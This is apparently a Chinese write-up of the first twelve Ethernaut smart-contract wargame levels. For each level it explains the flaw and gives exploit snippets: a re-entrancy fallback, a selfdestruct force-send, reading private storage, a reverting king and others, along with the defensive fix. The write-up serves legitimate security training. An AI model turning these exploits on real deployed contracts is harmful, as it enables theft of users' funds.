Ethernaut题解2022版(上)
字数 1941 2025-08-29 08:31:54
Ethernaut智能合约攻防题解(2022版)
1. Fallback合约
合约漏洞:通过receive函数可篡改合约所有者
关键代码:
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
攻击步骤:
- 调用
contribute()存入少量ETH(contract.contribute({value:1})) - 向合约地址转账1 ETH触发receive函数
- 检查owner已变为攻击者地址
- 调用
withdraw()提取合约余额
技术要点:
- receive函数在合约收到空calldata的转账时触发
- 每个合约最多一个receive函数,声明方式为
receive() external payable - 如果没有receive但有payable fallback,转账会触发fallback
2. Fallout合约
合约漏洞:构造函数拼写错误(Fal1out中的1)使其成为普通可调用函数
攻击步骤:
- 直接调用
Fal1out()函数 - 调用
collectAllocations()提取资金
技术要点:
- 构造函数应使用
constructor关键字或与合约同名 - 拼写错误使构造函数变为普通函数,可被任意调用
3. CoinFlip合约
合约漏洞:使用区块哈希作为随机数源可被预测
关键代码:
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
攻击合约:
contract attack {
function exp() public {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
bool side = blockValue.div(FACTOR) == 1;
c.flip(side);
}
}
技术要点:
- 同一区块内的交易看到的
block.number.sub(1)相同 - 攻击合约与目标合约在同一交易中可预测结果
- 应在链下使用预言机提供随机数
4. Telephone合约
合约漏洞:混淆tx.origin和msg.sender
关键代码:
if (tx.origin != msg.sender) {
owner = _owner;
}
攻击步骤:
- 部署攻击合约调用
changeOwner() - 攻击合约中
msg.sender是攻击者,tx.origin是用户
技术要点:
tx.origin是交易原始发起者msg.sender是直接调用者- 调用链A→B→C中,对C来说:
tx.origin= Amsg.sender= B
5. Token合约
合约漏洞:整数下溢
关键代码:
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
攻击步骤:
- 初始有20 token
- 调用
transfer(instance,21)触发下溢 balances[msg.sender]变为极大值
技术要点:
- Solidity 0.8+默认检查算术溢出
- 旧版本需使用SafeMath库
- 下溢后uint值变为\(2^{256}-1\)
6. Delegation合约
合约漏洞:delegatecall使用不当
关键代码:
(bool result,) = address(delegate).delegatecall(msg.data);
攻击步骤:
contract.sendTransaction({
data: web3.utils.sha3("pwn()").slice(0,10)
});
技术要点:
delegatecall保持调用者上下文- 函数选择器是函数签名keccak256的前4字节
- 三种调用方式区别:
call:在目标合约上下文执行delegatecall:在调用者上下文执行staticcall:只读的call
7. Force合约
合约漏洞:空合约接收ETH
攻击方法:使用selfdestruct强制转账
攻击合约:
contract Attack {
function exploit(address payable _target) public payable {
selfdestruct(_target);
}
}
技术要点:
selfdestruct强制转账无视合约fallback- 合约即使没有payable函数也能接收ETH
- 资金发送优先级高于常规转账
8. Vault合约
合约漏洞:私有变量可读取
攻击步骤:
await web3.eth.getStorageAt(contract.address,1)
await contract.unlock("0x...")
技术要点:
- 合约所有数据在链上公开
- 私有变量仅限制合约内访问
- 存储布局:
- slot 0: locked
- slot 1: password
- 字符串需转换为bytes32
9. King合约
合约漏洞:未处理转账失败
关键代码:
king.transfer(msg.value);
king = msg.sender;
攻击合约:
contract AttackKing {
receive() external payable { revert(); }
}
技术要点:
- 攻击合约拒绝接收转账使流程中断
- 应使用"检查-生效-交互"模式
- 三种转账方式:
transfer:失败revert,gas限制2300send:返回false,gas限制2300call:无gas限制,需手动处理结果
10. Re-entrancy合约
合约漏洞:重入攻击
关键代码:
(bool result,) = msg.sender.call{value:_amount}("");
balances[msg.sender] -= _amount;
攻击合约:
fallback() external payable {
target.call(abi.encodeWithSignature("withdraw(uint256)",amount));
}
技术要点:
- 先转账后更新余额
- call无gas限制允许复杂操作
- 防御措施:
- 使用Checks-Effects-Interactions模式
- 添加重入锁
- 使用transfer/send限制gas
11. Elevator合约
合约漏洞:接口函数返回值不一致
关键代码:
if (!building.isLastFloor(_floor)) {
top = building.isLastFloor(floor);
}
攻击合约:
function isLastFloor(uint) external returns (bool){
x = !x;
return x;
}
技术要点:
- 同一函数两次调用返回不同值
- 接口实现可包含状态变更
- 应使用view/pure修饰符限制函数行为
12. Privacy合约
合约漏洞:存储数据可读取
攻击步骤:
await web3.eth.getStorageAt(instance, 5)
await contract.unlock('0x...')
存储布局:
slot 0: locked (1 byte) + unused (31 bytes)
slot 1: ID (32 bytes)
slot 2: flattening (1 byte) + denomination (1 byte) + awkwardness (2 byte) + unused (28 bytes)
slot 3: data[0] (32 bytes)
slot 4: data[1] (32 bytes)
slot 5: data[2] (32 bytes)
技术要点:
- bytes16从高地址截取
- 静态数组元素连续存储
- 动态数组使用keccak256(slot)作为起始位置